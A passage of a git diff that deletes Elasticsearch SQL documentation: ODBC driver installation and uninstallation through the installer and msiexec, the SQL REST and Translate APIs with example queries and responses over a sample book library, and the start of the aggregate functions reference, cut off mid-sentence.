-image::images/sql/odbc/installer_accept_license.png[Installer EULA Screen]
-
-The following screen allows you to customise the installation path for the Elasticsearch ODBC driver files.
-
-NOTE: The default installation path is of the format: *%ProgramFiles%\Elastic\ODBCDriver{backslash}{version}*
-
-image::images/sql/odbc/installer_choose_destination.png[Installer Driver Path]
-
-You are now ready to install the driver.
-
-NOTE: You will require elevated privileges (administrator) for installation.
-
-image::images/sql/odbc/installer_ready_install.png[Installer Begin]
-
-Assuming the installation takes place without error you should see progress screen, followed by the finish screen:
-
-image::images/sql/odbc/installer_installing.png[Installer Installing]
-
-On the finish screen you can launch the ODBC Data Source Administration screen by checking the dialog checkbox. This will automatically launch the configuration screen on close (either 32 bit or 64 bit) where you can configure a DSN.
-
-image::images/sql/odbc/installer_finish.png[Installer Complete]
-
-As with any MSI installation package, a log file for the installation process can be found within the `%TEMP%` directory, with a randomly generated name adhering to the format `MSI<random>.LOG`.
-
-If you encounter an error during installation we would encourage you to open an issue https://github.com/elastic/elasticsearch-sql-odbc/issues, attach your installation log file and provide additional details so we can investigate.
-
-[[installation-cmd]]
-==== Installation using the command line
-
-NOTE: The examples given below apply to installation of the 64 bit MSI package. To achieve the same result with the 32 bit MSI package you would instead use the filename suffix `windows-x86.msi`
-
-The `.msi` can also be installed via the command line. The simplest installation using the same defaults as the GUI is achieved by first navigating to the download directory, then running:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-msiexec.exe /i esodbc-{version}-windows-x86_64.msi /qn
---------------------------------------------
-
-By default, `msiexec.exe` does not wait for the installation process to complete, since it runs in the Windows subsystem. To wait on the process to finish and ensure that `%ERRORLEVEL%` is set accordingly, it is recommended to use `start /wait` to create a process and wait for it to exit:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i esodbc-{version}-windows-x86_64.msi /qn
---------------------------------------------
-
-As with any MSI installation package, a log file for the installation process can be found within the `%TEMP%` directory, with a randomly generated name adhering to the format `MSI<random>.LOG`. The path to a log file can be supplied using the `/l` command line argument
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i esodbc-{version}-windows-x86_64.msi /qn /l install.log
---------------------------------------------
-
-Supported Windows Installer command line arguments can be viewed using:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-msiexec.exe /help
---------------------------------------------
-
-...or by consulting the https://msdn.microsoft.com/en-us/library/windows/desktop/aa367988(v=vs.85).aspx[Windows Installer SDK Command-Line Options].
-
-[[odbc-msi-command-line-options]]
-===== Command line options
-
-All settings exposed within the GUI are also available as command line arguments (referred to as _properties_ within Windows Installer documentation) that can be passed to `msiexec.exe`:
-
-[horizontal]
-`INSTALLDIR`::
-
-  The installation directory.
-  Defaults to ++%ProgramFiles%\Elastic\ODBCDriver{backslash}{version}++.
-
-To pass a value, simply append the property name and value using the format `<PROPERTYNAME>="<VALUE>"` to
-the installation command. For example, to use a different installation directory to the default one:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i esodbc-{version}-windows-x86_64.msi /qn INSTALLDIR="c:\CustomDirectory"
---------------------------------------------
-
-Consult the https://msdn.microsoft.com/en-us/library/windows/desktop/aa367988(v=vs.85).aspx[Windows Installer SDK Command-Line Options]
-for additional rules related to values containing quotation marks.
-
-[[odbc-uninstall-msi-gui]]
-===== Uninstall using Add/Remove Programs
-
-The `.msi` package handles uninstallation of all directories and files added as part of installation.
-
-WARNING: Uninstallation will remove **all** contents created as part of installation.
-
-An installed program can be uninstalled by pressing the Windows key and typing `add or remove programs` to open the system settings.
-
-Once opened, find the Elasticsearch ODBC Driver installation within the list of installed applications, click and choose `Uninstall`:
-
-[[odbc-msi-installer-uninstall]]
-image::images/sql/odbc/uninstall.png[]
-
-[[odbc-uninstall-msi-command-line]]
-===== Uninstall using the command line
-
-Uninstallation can also be performed from the command line by navigating to the directory
-containing the `.msi` package and running:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /x esodbc-{version}-windows-x86_64.msi /qn
---------------------------------------------
-
-Similar to the install process, a path for a log file for the uninstallation process can be passed using the `/l` command line argument
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /x esodbc-{version}-windows-x86_64.msi /qn /l uninstall.log
---------------------------------------------
diff --git a/docs/reference/sql/endpoints/rest.asciidoc b/docs/reference/sql/endpoints/rest.asciidoc
deleted file mode 100644
index 386124eda70..00000000000
--- a/docs/reference/sql/endpoints/rest.asciidoc
+++ /dev/null
@@ -1,585 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-rest]]
-== SQL REST API
-
-* <<sql-rest-overview>>
-* <<sql-rest-format>>
-* <<sql-pagination>>
-* <<sql-rest-filtering>>
-* <<sql-rest-columnar>>
-* <<sql-rest-params>>
-* <<sql-rest-fields>>
-
-[[sql-rest-overview]]
-=== Overview
-
-The SQL REST API accepts SQL in a JSON document, executes it,
-and returns the results.
-For example:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC LIMIT 5"
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,text]
---------------------------------------------------
-     author      |        name        |  page_count   | release_date
------------------+--------------------+---------------+------------------------
-Peter F. Hamilton|Pandora's Star      |768            |2004-03-02T00:00:00.000Z
-Vernor Vinge     |A Fire Upon the Deep|613            |1992-06-01T00:00:00.000Z
-Frank Herbert    |Dune                |604            |1965-06-01T00:00:00.000Z
-Alastair Reynolds|Revelation Space    |585            |2000-03-15T00:00:00.000Z
-James S.A. Corey |Leviathan Wakes     |561            |2011-06-02T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[s/\|/\\|/ s/\+/\\+/]
-// TESTRESPONSE[non_json]
-
-[[sql-kibana-console]]
-[TIP]
-.Using Kibana Console
-====
-If you are using {kibana-ref}/console-kibana.html[Kibana Console]
-(which is highly recommended), take advantage of the
-triple quotes `"""` when creating the query. This not only automatically escapes double
-quotes (`"`) inside the query string but also support multi-line as shown below:
-image:images/sql/rest/console-triple-quotes.png[]
-====
-
-[[sql-rest-format]]
-=== Response Data Formats
-
-While the textual format is nice for humans, computers prefer something
-more structured.
-
-{es-sql} can return the data in the following formats which can be set
-either through the `format` property in the URL or by setting the `Accept` HTTP header:
-
-NOTE: The URL parameter takes precedence over the `Accept` HTTP header.
-If neither is specified then the response is returned in the same format as the request.
-
-[cols="^m,^4m,^8"]
-
-|===
-s|format
-s|`Accept` HTTP header
-s|Description
-
-3+h| Human Readable
-
-|csv
-|text/csv
-|{wikipedia}/Comma-separated_values[Comma-separated values]
-
-|json
-|application/json
-|https://www.json.org/[JSON] (JavaScript Object Notation) human-readable format
-
-|tsv
-|text/tab-separated-values
-|{wikipedia}/Tab-separated_values[Tab-separated values]
-
-|txt
-|text/plain
-|CLI-like representation
-
-|yaml
-|application/yaml
-|{wikipedia}/YAML[YAML] (YAML Ain't Markup Language) human-readable format
-
-3+h| Binary Formats
-
-|cbor
-|application/cbor
-|https://cbor.io/[Concise Binary Object Representation]
-
-|smile
-|application/smile
-|{wikipedia}/Smile_(data_interchange_format)[Smile] binary data format similar to CBOR
-
-|===
-
-The `CSV` format accepts a formatting URL query attribute, `delimiter`, which indicates which character should be used to separate the CSV
-values. It defaults to comma (`,`) and cannot take any of the following values: double quote (`"`), carriage-return (`\r`) and new-line (`\n`).
-The tab (`\t`) can also not be used, the `tsv` format needs to be used instead.
-
-Here are some examples for the human readable formats:
-
-==== CSV
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=csv
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-which returns:
-
-[source,text]
---------------------------------------------------
-author,name,page_count,release_date
-Peter F. Hamilton,Pandora's Star,768,2004-03-02T00:00:00.000Z
-Vernor Vinge,A Fire Upon the Deep,613,1992-06-01T00:00:00.000Z
-Frank Herbert,Dune,604,1965-06-01T00:00:00.000Z
-Alastair Reynolds,Revelation Space,585,2000-03-15T00:00:00.000Z
-James S.A. Corey,Leviathan Wakes,561,2011-06-02T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[non_json]
-
-or:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=csv&delimiter=%3b
-{
-    "query": "SELECT * FROM library ORDER BY page_count DESC",
-    "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-which returns:
-
-[source,text]
---------------------------------------------------
-author;name;page_count;release_date
-Peter F. Hamilton;Pandora's Star;768;2004-03-02T00:00:00.000Z
-Vernor Vinge;A Fire Upon the Deep;613;1992-06-01T00:00:00.000Z
-Frank Herbert;Dune;604;1965-06-01T00:00:00.000Z
-Alastair Reynolds;Revelation Space;585;2000-03-15T00:00:00.000Z
-James S.A. Corey;Leviathan Wakes;561;2011-06-02T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[non_json]
-
-==== JSON
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=json
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "columns": [
-    {"name": "author",       "type": "text"},
-    {"name": "name",         "type": "text"},
-    {"name": "page_count",   "type": "short"},
-    {"name": "release_date", "type": "datetime"}
-  ],
-  "rows": [
-    ["Peter F. Hamilton",  "Pandora's Star",       768, "2004-03-02T00:00:00.000Z"],
-    ["Vernor Vinge",       "A Fire Upon the Deep", 613, "1992-06-01T00:00:00.000Z"],
-    ["Frank Herbert",      "Dune",                 604, "1965-06-01T00:00:00.000Z"],
-    ["Alastair Reynolds",  "Revelation Space",     585, "2000-03-15T00:00:00.000Z"],
-    ["James S.A. Corey",   "Leviathan Wakes",      561, "2011-06-02T00:00:00.000Z"]
-  ],
-  "cursor": "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8="
-}
---------------------------------------------------
-// TESTRESPONSE[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl\+v\/\/\/w8=/$body.cursor/]
-
-==== TSV
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=tsv
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,text]
---------------------------------------------------
-author	name	page_count	release_date
-Peter F. Hamilton	Pandora's Star	768	2004-03-02T00:00:00.000Z
-Vernor Vinge	A Fire Upon the Deep	613	1992-06-01T00:00:00.000Z
-Frank Herbert	Dune	604	1965-06-01T00:00:00.000Z
-Alastair Reynolds	Revelation Space	585	2000-03-15T00:00:00.000Z
-James S.A. Corey	Leviathan Wakes	561	2011-06-02T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[s/\t/ /]
-// TESTRESPONSE[non_json]
-
-==== TXT
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,text]
---------------------------------------------------
-     author      |        name        |  page_count   |      release_date
------------------+--------------------+---------------+------------------------
-Peter F. Hamilton|Pandora's Star      |768            |2004-03-02T00:00:00.000Z
-Vernor Vinge     |A Fire Upon the Deep|613            |1992-06-01T00:00:00.000Z
-Frank Herbert    |Dune                |604            |1965-06-01T00:00:00.000Z
-Alastair Reynolds|Revelation Space    |585            |2000-03-15T00:00:00.000Z
-James S.A. Corey |Leviathan Wakes     |561            |2011-06-02T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[s/\|/\\|/ s/\+/\\+/]
-// TESTRESPONSE[non_json]
-
-==== YAML
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=yaml
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,yaml]
---------------------------------------------------
-columns:
-- name: "author"
-  type: "text"
-- name: "name"
-  type: "text"
-- name: "page_count"
-  type: "short"
-- name: "release_date"
-  type: "datetime"
-rows:
-- - "Peter F. Hamilton"
-  - "Pandora's Star"
-  - 768
-  - "2004-03-02T00:00:00.000Z"
-- - "Vernor Vinge"
-  - "A Fire Upon the Deep"
-  - 613
-  - "1992-06-01T00:00:00.000Z"
-- - "Frank Herbert"
-  - "Dune"
-  - 604
-  - "1965-06-01T00:00:00.000Z"
-- - "Alastair Reynolds"
-  - "Revelation Space"
-  - 585
-  - "2000-03-15T00:00:00.000Z"
-- - "James S.A. Corey"
-  - "Leviathan Wakes"
-  - 561
-  - "2011-06-02T00:00:00.000Z"
-cursor: "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8="
---------------------------------------------------
-// TESTRESPONSE[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl\+v\/\/\/w8=/$body.cursor/]
-
-[[sql-pagination]]
-=== Paginating through a large response
-
-Using the example from the <<sql-rest-format,previous section>>, one can
-continue to the next page by sending back the cursor field. In the case of CSV, TSV and TXT
-formats, the cursor is returned in the `Cursor` HTTP header.
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=json
-{
-  "cursor": "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f///w8="
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f\/\/\/w8=/$body.cursor/]
-
-Which looks like:
-
-[source,console-result]
---------------------------------------------------
-{
-  "rows" : [
-    ["Dan Simmons",        "Hyperion",             482,  "1989-05-26T00:00:00.000Z"],
-    ["Iain M. Banks",      "Consider Phlebas",     471,  "1987-04-23T00:00:00.000Z"],
-    ["Neal Stephenson",    "Snow Crash",           470,  "1992-06-01T00:00:00.000Z"],
-    ["Frank Herbert",      "God Emperor of Dune",  454,  "1981-05-28T00:00:00.000Z"],
-    ["Frank Herbert",      "Children of Dune",     408,  "1976-04-21T00:00:00.000Z"]
-  ],
-  "cursor" : "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWODRMaXBUaVlRN21iTlRyWHZWYUdrdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl9f///w8="
-}
---------------------------------------------------
-// TESTRESPONSE[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWODRMaXBUaVlRN21iTlRyWHZWYUdrdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl9f\/\/\/w8=/$body.cursor/]
-
-Note that the `columns` object is only part of the first page.
-
-You've reached the last page when there is no `cursor` returned
-in the results. Like Elasticsearch's <<scroll-search-results,scroll>>,
-SQL may keep state in Elasticsearch to support the cursor. Unlike
-scroll, receiving the last page is enough to guarantee that the
-Elasticsearch state is cleared.
-
-To clear the state earlier, you can use the clear cursor command:
-
-[source,console]
---------------------------------------------------
-POST /_sql/close
-{
-  "cursor": "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f///w8="
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f\/\/\/w8=/$body.cursor/]
-
-Which will like return the
-
-[source,console-result]
---------------------------------------------------
-{
-  "succeeded" : true
-}
---------------------------------------------------
-
-
-[[sql-rest-filtering]]
-=== Filtering using {es} query DSL
-
-One can filter the results that SQL will run on using a standard
-{es} query DSL by specifying the query in the filter
-parameter.
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "filter": {
-    "range": {
-      "page_count": {
-        "gte" : 100,
-        "lte" : 200
-      }
-    }
-  },
-  "fetch_size": 5
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,text]
---------------------------------------------------
-    author     |                name                |  page_count   | release_date
----------------+------------------------------------+---------------+------------------------
-Douglas Adams  |The Hitchhiker's Guide to the Galaxy|180            |1979-10-12T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[s/\|/\\|/ s/\+/\\+/]
-// TESTRESPONSE[non_json]
-
-[TIP]
-=================
-A useful and less obvious usage for standard query DSL filtering is to search documents by a specific <<search-routing, routing key>>.
-Because {es-sql} does not support a `routing` parameter, one can specify a <<mapping-routing-field, `terms` filter for the `_routing` field>> instead:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-  "query": "SELECT * FROM library",
-  "filter": {
-    "terms": {
-      "_routing": ["abc"]
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:library]
-=================
-
-[[sql-rest-columnar]]
-=== Columnar results
-
-The most well known way of displaying the results of an SQL query result in general is the one where each
-individual record/document represents one line/row. For certain formats, {es-sql} can return the results
-in a columnar fashion: one row represents all the values of a certain column from the current page of results.
-
-The following formats can be returned in columnar orientation: `json`, `yaml`, `cbor` and `smile`.
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=json
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 5,
-  "columnar": true
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "columns": [
-    {"name": "author", "type": "text"},
-    {"name": "name", "type": "text"},
-    {"name": "page_count", "type": "short"},
-    {"name": "release_date", "type": "datetime"}
-  ],
-  "values": [
-    ["Peter F. Hamilton", "Vernor Vinge", "Frank Herbert", "Alastair Reynolds", "James S.A. Corey"],
-    ["Pandora's Star", "A Fire Upon the Deep", "Dune", "Revelation Space", "Leviathan Wakes"],
-    [768, 613, 604, 585, 561],
-    ["2004-03-02T00:00:00.000Z", "1992-06-01T00:00:00.000Z", "1965-06-01T00:00:00.000Z", "2000-03-15T00:00:00.000Z", "2011-06-02T00:00:00.000Z"]
-  ],
-  "cursor": "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8="
-}
---------------------------------------------------
-// TESTRESPONSE[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl\+v\/\/\/w8=/$body.cursor/]
-
-Any subsequent calls using a `cursor` still have to contain the `columnar` parameter to preserve the orientation,
-meaning the initial query will not _remember_ the columnar option.
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=json
-{
-  "cursor": "sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl+v///w8=",
-  "columnar": true
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWWWdrRlVfSS1TbDYtcW9lc1FJNmlYdw==:BAFmBmF1dGhvcgFmBG5hbWUBZgpwYWdlX2NvdW50AWYMcmVsZWFzZV9kYXRl\+v\/\/\/w8=/$body.cursor/]
-
-Which looks like:
-
-[source,console-result]
---------------------------------------------------
-{
-  "values": [
-    ["Dan Simmons", "Iain M. Banks", "Neal Stephenson", "Frank Herbert", "Frank Herbert"],
-    ["Hyperion", "Consider Phlebas", "Snow Crash", "God Emperor of Dune", "Children of Dune"],
-    [482, 471, 470, 454, 408],
-    ["1989-05-26T00:00:00.000Z", "1987-04-23T00:00:00.000Z", "1992-06-01T00:00:00.000Z", "1981-05-28T00:00:00.000Z", "1976-04-21T00:00:00.000Z"]
-  ],
-  "cursor": "46ToAwFzQERYRjFaWEo1UVc1a1JtVjBZMmdCQUFBQUFBQUFBQUVXWjBaNlFXbzNOV0pVY21Wa1NUZDJhV2t3V2xwblp3PT3/////DwQBZgZhdXRob3IBBHRleHQAAAFmBG5hbWUBBHRleHQAAAFmCnBhZ2VfY291bnQBBGxvbmcBAAFmDHJlbGVhc2VfZGF0ZQEIZGF0ZXRpbWUBAAEP"
-}
---------------------------------------------------
-// TESTRESPONSE[s/46ToAwFzQERYRjFaWEo1UVc1a1JtVjBZMmdCQUFBQUFBQUFBQUVXWjBaNlFXbzNOV0pVY21Wa1NUZDJhV2t3V2xwblp3PT3\/\/\/\/\/DwQBZgZhdXRob3IBBHRleHQAAAFmBG5hbWUBBHRleHQAAAFmCnBhZ2VfY291bnQBBGxvbmcBAAFmDHJlbGVhc2VfZGF0ZQEIZGF0ZXRpbWUBAAEP/$body.cursor/]
-
-[[sql-rest-params]]
-=== Passing parameters to a query
-
-Using values in a query condition, for example, or in a `HAVING` statement can be done "inline",
-by integrating the value in the query string itself:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-	"query": "SELECT YEAR(release_date) AS year FROM library WHERE page_count > 300 AND author = 'Frank Herbert' GROUP BY year HAVING COUNT(*) > 0"
-}
---------------------------------------------------
-// TEST[setup:library]
-
-or it can be done by extracting the values in a separate list of parameters and using question mark placeholders (`?`) in the query string:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-	"query": "SELECT YEAR(release_date) AS year FROM library WHERE page_count > ? AND author = ? GROUP BY year HAVING COUNT(*) > ?",
-	"params": [300, "Frank Herbert", 0]
-}
---------------------------------------------------
-// TEST[setup:library]
-
-[IMPORTANT]
-The recommended way of passing values to a query is with question mark placeholders, to avoid any attempts of hacking or SQL injection.
-
-[[sql-rest-fields]]
-=== Supported REST parameters
-
-In addition to the `query` and `fetch_size`, a request a number of user-defined fields for specifying
-the request time-outs or localization information (such as timezone).
-
-The table below lists the supported parameters:
-
-[cols="^m,^m,^5"]
-
-|===
-
-s|name
-s|Default value
-s|Description
-
-|query
-|Mandatory
-|SQL query to execute
-
-|fetch_size
-|1000
-|The maximum number of rows (or entries) to return in one response
-
-|filter
-|none
-|Optional {es} query DSL for additional <<sql-rest-filtering, filtering>>.
-
-|request_timeout
-|90s
-|The timeout before the request fails.
-
-|page_timeout
-|45s
-|The timeout before a pagination request fails.
-
-|[[sql-rest-fields-timezone]]time_zone
-|`Z` (or `UTC`)
-|Time-zone in ISO 8601 used for executing the query on the server.
-More information available https://docs.oracle.com/javase/8/docs/api/java/time/ZoneId.html[here].
-
-|columnar
-|false
-|Return the results in a columnar fashion, rather than row-based fashion. Valid for `json`, `yaml`, `cbor` and `smile`.
-
-|field_multi_value_leniency
-|false
-|Throw an exception when encountering multiple values for a field (default) or be lenient and return the first value from the list (without any guarantees of what that will be - typically the first in natural ascending order).
-
-|index_include_frozen
-|false
-|Whether to include <<frozen-indices, frozen-indices>> in the query execution or not (default).
-
-|params
-|none
-|Optional list of parameters to replace question mark (`?`) placeholders inside the query.
-
-|===
-
-Do note that most parameters (outside the timeout and `columnar` ones) make sense only during the initial query - any follow-up pagination request only requires the `cursor` parameter as explained in the <<sql-pagination, pagination>> chapter.
-That's because the query has already been executed and the calls are simply about returning the found results - thus the parameters are simply ignored.
diff --git a/docs/reference/sql/endpoints/translate.asciidoc b/docs/reference/sql/endpoints/translate.asciidoc
deleted file mode 100644
index fdccbf00956..00000000000
--- a/docs/reference/sql/endpoints/translate.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-translate]]
-== SQL Translate API
-
-The SQL Translate API accepts SQL in a JSON document and translates it
-into native {es} queries. For example:
-
-[source,console]
---------------------------------------------------
-POST /_sql/translate
-{
-  "query": "SELECT * FROM library ORDER BY page_count DESC",
-  "fetch_size": 10
-}
---------------------------------------------------
-// TEST[setup:library]
-
-Which returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "size": 10,
-  "docvalue_fields": [
-    {
-      "field": "release_date",
-      "format": "epoch_millis"
-    }
-  ],
-  "_source": {
-    "includes": [
-      "author",
-      "name",
-      "page_count"
-    ],
-    "excludes": []
-  },
-  "sort": [
-    {
-      "page_count": {
-        "order": "desc",
-        "missing": "_first",
-        "unmapped_type": "short"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Which is the request that SQL will run to provide the results.
-In this case, SQL will use the <<scroll-search-results,scroll>>
-API. If the result contained an aggregation then SQL would use
-the normal <<search-request-body,search>> API.
-
-The request body accepts all of the <<sql-rest-fields,fields>> that
-the <<sql-rest,SQL REST API>> accepts except `cursor`.
diff --git a/docs/reference/sql/functions/aggs.asciidoc b/docs/reference/sql/functions/aggs.asciidoc
deleted file mode 100644
index b7121189af1..00000000000
--- a/docs/reference/sql/functions/aggs.asciidoc
+++ /dev/null
@@ -1,718 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-aggs]]
-=== Aggregate Functions
-
-Functions for computing a _single_ result from a set of input values.
-{es-sql} supports aggregate functions only alongside <<sql-syntax-group-by,grouping>> (implicit or explicit).
-
-[[sql-functions-aggs-general]]
-[discrete]
-=== General Purpose
-
-[[sql-functions-aggs-avg]]
-==== `AVG`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-AVG(numeric_field) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric field
-
-*Output*: `double` numeric value
-
-*Description*: Returns the {wikipedia}/Arithmetic_mean[Average] (arithmetic mean) of input values.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggAvg]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggAvgScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-count]]
-==== `COUNT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COUNT(expression) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a field name, wildcard (`*`) or any numeric value
-
-*Output*: numeric value
-
-*Description*: Returns the total number (count) of input values.
-
-In case of `COUNT(*)` or `COUNT(<literal>)`, _all_ values are considered (including `null` or missing ones).
-
-In case of `COUNT(<field_name>)` `null` values are not considered.
-
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggCountStar]
---------------------------------------------------
-
-
-[[sql-functions-aggs-count-all]]
-==== `COUNT(ALL)`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COUNT(ALL field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a field name
-
-*Output*: numeric value
-
-*Description*: Returns the total number (count) of all _non-null_ input values. `COUNT(<field_name>)` and `COUNT(ALL <field_name>)` are equivalent.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggCountAll]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggCountAllScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-count-distinct]]
-==== `COUNT(DISTINCT)`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COUNT(DISTINCT field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a field name
-
-*Output*: numeric value
-
-*Description*: Returns the total number of _distinct non-null_ values in input values.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggCountDistinct]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggCountDistinctScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-first]]
-==== `FIRST/FIRST_VALUE`
-
-.Synopsis:
-[source, sql]
-----------------------------------------------
-FIRST(
-    field_name               <1>
-    [, ordering_field_name]) <2>
-----------------------------------------------
-
-*Input*:
-
-<1> target field for the aggregation
-<2> optional field used for ordering
-
-*Output*: same type as the input
-
-*Description*: Returns the first **non-NULL** value (if such exists) of the `field_name` input column sorted by
